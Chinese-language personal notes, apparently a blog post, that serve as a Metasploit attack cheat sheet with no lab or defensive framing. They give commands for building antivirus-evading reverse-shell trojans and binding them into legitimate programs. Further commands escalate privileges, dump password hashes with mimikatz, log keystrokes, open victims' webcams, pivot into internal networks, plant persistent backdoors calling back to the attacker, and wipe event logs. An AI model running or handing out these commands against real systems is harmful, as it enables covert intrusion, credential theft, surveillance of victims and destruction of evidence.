记载一篇metasploit的学习笔记吧,方便日后查阅复习。
Msf是kali下的一款强大的工具,开源的安全漏洞检测工具前渗透后渗透阶段都用得到,不过还是后渗透阶段用的多。
Msf用处大致就是exploit攻击,cve攻击,远控木马攻击利用。
Msfconsole 打开msf
Msfconsole -h 帮助选项
Banner 用于查看metasploit的版本信息,利用模块数量、payload数量
模块介绍:
Exploits 渗透攻击模块 主要用于攻击形式
Auxiliary 辅助模块 主要用于信息收集
Payloads 攻击载荷模块 主要用于攻击效果、目标
Encodes 编码模块 主要用于编码转换、隐藏
Post 后渗透测试模块 主要用于渗透后的处理,例如留下后门等
一般使用流程:
search 名称 搜索漏洞
use 模块 选择攻击模块
set RHOST ip 设置攻击ip
set RPORT 445 设置攻击端口
show payloads 查看可用payloads
set payload windows/meterperter/bind_tcp -设置攻击载荷
set LHOST ip 监听会话ip
set LPORT 4444 设置监听的端口
show options 查看设置好的参数
exploit 发起攻击
info 查看所在模块的信息
back 退出当前漏洞模块,选择其他的漏洞模块
exploits:利用系统漏洞进行攻击
payload:成功 exploit 之后,真正在目标系统执行的代码或指令
connect 用于远程链接主机,一般用于内网渗透。
connect 192.168.9.1 8080 connect+IP+端口号
exit 退出msfconsole的命令。
search 漏洞名称 进行漏洞模块或插件的查找
远控木马:
生成Shellcode命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=端口 -f exe -o /root/feizhu/fz.exe
Msfvenom支持众多环境下payload有效载荷,如linux,android,windons等
使用命令查看msfvenom –list payloads 根据需要选择载荷
对shellcode进行编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=ip lport=端口 -f exe -o /root/feizhu/zhu.exe
Msfvenom支持的编码器很多,每个编码器的免杀效果都不一样,根据需要选择。
查看编码器 msfvenom –list encoders
注:不是所有的编码方式都在windows系统上可用
Msf毕竟是开源的,免杀效果不好。
咱们常见的免杀方式有:修改特征码/修改程序入口点/花指令/加壳等
将生成的木马捆绑到其他程序中:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=端口 -e x86/shikata_ga_nai -x IPradar5.exe(捆绑的程序) -i 12 -k(将进程分离出来) -f exe -o /root/feizhu/fz.exe
监听shellcode (当木马在目标机执行后,用此功能拿到会话,进一步渗透)
use exploit/multi/handler 选择模块
set payload windows/meterpreter/reverse_tcp 设置的payload载荷要跟咱们生成木马时的载荷一致。
set LHOST ip 设置监听的ip
set LPORT 4444 设置监听的端口
exploit 开始监听,完成此步后,在目标机器执行木马即可拿到session会话。
特别注意payload细微区别:
我们选择的payload监听器是有区别的:
windows/shell_reverse_tcp 这个是属于Unstaged。即需要使用nc监听端口来拿
到反弹shell 。 例如:nc -nvlp [端口号]
windows/shell/reverse_tcp 这个是属于Staged。即需要使用msf的
exploit/multi/handler来拿到session会话。
那么通过漏洞攻击或者远控木马拿到sessions会话之后,再进一步渗透,则需要的命令如下:
Meterpreter会话下:
background 把meterpreter后台挂起
sessions -l 查看所有的会话
sessions -i 1 选择会话
shell 获取目标主机的远程命令行shell
ipconfig 查看网络参数
getwd 获取系统工作的当前目录
getuid 查看已经获得的权限
portfwd 端口转发 目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开
portfwd add -l 你本机的监听端口 -r 127.0.0.1 -p 3389 将目标机器3389转发到kali本地端口
rdesktop 127.1.1.0:2222 执行windows远程链接,这个端口就是上一步转发的端口。
upload 上传文件到目标主机
upload fz.exe C:\\windows\\system32\
download 将目标主机上的文件下载到我们的攻击主机上
download C:\\users\\wd.txt /root/feizhu/
search -d c:\\ -f *.doc 搜索指定后缀文件
route 显示目标主机上的主机路由表
sysinfo 查看目标主机系统信息
systeminfo 查看系统详细信息及补丁信息
migrate将meterpreter会话移植到另一个进程
migrate 1668(注入进程的pid) 将木马进程注入到系统其他进程
hashdump 读取哈希值
load mimikatz 启动mimikatz
wdigest 读取用户密码(mimikatz下命令)
run getgui -e 开启远程桌面服务
run getgui -u feizhu -p feizhu 添加登陆远程桌面的账户密码
提权:
会话下用getsystem 拿到系统最高权限
拿到meterpreter会话后提升最高权限:
1.systeminfo 查看系统补丁信息,查找相关溢出漏洞提权
2.use+漏洞模块 使用漏洞模块
3.set sessions 1 设置进行提权的会话机器
4.查看返回信息,会有一个新的system权限进程,用migrate将原本的会话进程注入到system进程中,拿到最高权限。
使用Bypassuac提权:(当执行getsystem无效时)
1.search bypassuac 搜索模块
2.use 模块名称 使用模块
3.set sessions 会话名称 选择提权的会话
4.run 执行
5.会返回一个新的会话,进到会话若不是最高权限,执行getsystem即可。
拿到meterpreter会话后如何快速有效的提权呢?
大家知道msf中自带的漏洞模块太多,所有咱们可以用msf自带命令帮助咱们进行提权。
1.把session会话挂到后台
2. use post/multi/recon/local_exploit_suggester
3.set LHOST ip
4.set session 1
5.exploit
执行之后看到的结果就是针对当前系统可能提权成功的漏洞利用模块。
注意: 获取到shell后如果出现乱码,使用chcp命令
mimikatz:
load mimikatz #加载mimikatz
msv #获取hash值
Kerberos #获取明文
wdigest #获取系统账户信息
mimikatz_command -f hash:: #获取目标 hash
键盘记录器功能keyscan:
keyscan_start 开启记录目标主机的键盘输入
keyscan_dump 输出截获到的目标键盘输入字符信息
keyscan_stop 停止键盘记录
run vnc 开启远程监控画面
webcam_stream 开启摄像头
migrate 616 关闭对方防火墙
screenshot 截屏
后渗透模块使用:
run post/windows/gather/enum_applications 获取目标主机软件安装信息
run post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息
run post/windows/gather/enum_ie 读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码,信息存放在/root/.msf5/loot/目录下。
内网渗透常用命令:
auxiliary/scanner/discovery/arp_sweep arp探测主机存活
auxiliary/scancer/smb/smb_version 存活的445主机
auxiliary/scanner/portscan/syn 端口扫描
auxiliary/scanner/telnet/telnet_version telent服务扫描
auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描
auxiliary/scanner/ssh/ssh_version ssh主机扫描
msf路由转发模块:
MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,此路由的下一跳转发,即网关是MSF攻击平台与被攻击目标建立的一个session会话 。
run get_local_subnets 查看已拿下的目标主机的内网IP段情况(路由地址)
run autoroute -s ip/24 添加路由(把这个ip段范围加到路由)
run autoroute -p 查看添加的路由
+run autorouute -d 删除添加的路由
然后,咱们可用攻击内网其他机器:
fping -asg 192.168.93.0/24 查看内网在线主机
arpspoof -i eth0 -t 目标IP 网关IP ARP欺骗
持久后门:
run persistence -S -U -X -i 5 -p 端口 -r ip
-S:系统启动时加载
-U:用户登陆时加载
-X:开机时自动加载
-i:回连的时间间隔
-r:你的接收shell的电脑IP
清除痕迹:
clearev 擦除痕迹
timestomp 将时间统一,减少被发现的概率
常用命令贴出来,方便自己及大家查阅,如有遗漏请联系我,后续不断更新完善。